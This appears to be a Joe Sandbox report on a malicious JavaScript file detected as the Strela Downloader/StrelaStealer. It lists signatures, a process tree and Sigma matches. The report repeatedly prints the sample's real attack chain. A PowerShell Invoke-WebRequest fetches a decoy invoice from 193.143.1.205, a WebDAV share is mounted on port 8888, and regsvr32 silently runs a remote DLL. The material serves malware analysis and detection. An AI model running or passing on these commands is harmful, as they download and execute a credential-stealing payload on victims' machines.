Edit tour

Windows Analysis Report
1055116600916029869.js

Overview

General Information

Sample name:	1055116600916029869.js
Analysis ID:	1588601
MD5:	6e3532b5167da3fc1233374343aab0e5
SHA1:	22882de8e1da7d479d76f06f8d392c1227b5b2b7
SHA256:	8765076b8667041ace93c38859faeb922e5337ebf6bd7c0ff294df721313e1e7
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5824 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1055116600916029869.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1364 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27255157152120.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3168 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4544 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 2992 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7228 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7428 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2064 --field-trial-handle=1568,i,5548128776833063472,11793685734987109013,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 2312 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2756 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7300 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5824	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27255157152120.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1364, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4544, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27255157152120.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1364, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4544, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1055116600916029869.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1055116600916029869.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1055116600916029869.js", ProcessId: 5824, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27255157152120.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27255157152120.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1055116600916029869.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5824, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27255157152120.dll, ProcessId: 1364, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27255157152120.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27255157152120.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1055116600916029869.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5824, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27255157152120.dll, ProcessId: 1364, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27255157152120.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27255157152120.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1055116600916029869.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5824, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27255157152120.dll, ProcessId: 1364, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27255157152120.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27255157152120.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1055116600916029869.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5824, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27255157152120.dll, ProcessId: 1364, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27255157152120.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27255157152120.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1055116600916029869.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5824, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27255157152120.dll, ProcessId: 1364, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1055116600916029869.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1055116600916029869.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1055116600916029869.js", ProcessId: 5824, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27255157152120.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1364, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4544, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2312, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2756, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7300, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2312, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2756, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27255157152120.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27255157152120.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1055116600916029869.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5824, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27255157152120.dll, ProcessId: 1364, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1055116600916029869.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1055116600916029869.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000003.1695686978.0000027042A1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1744676325.0000019DB8728000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1743361440.0000019DB877C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1743973341.0000019DB8757000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1744730710.0000019DB8757000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1744676325.0000019DB8728000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Ac
Source: net.exe, 00000006.00000003.1743973341.0000019DB8757000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1744730710.0000019DB8757000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Z
Source: net.exe, 00000006.00000003.1743973341.0000019DB8757000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1744730710.0000019DB8757000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/n
Source: net.exe, 00000006.00000002.1744676325.0000019DB8728000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/sr~
Source: net.exe, 00000006.00000003.1743973341.0000019DB8757000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1744730710.0000019DB8757000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/~
Source: svchost.exe, 00000008.00000002.2989187735.000002069320F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1744442797.0000020693098000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1744442797.0000020693098000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1744442797.0000020693098000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1744442797.00000206930CD000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: svchost.exe, 00000008.00000002.2989319070.0000020693254000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.mi
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1744442797.0000020693142000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1744442797.0000020693142000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1744442797.0000020693142000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5824, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27255157152120.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
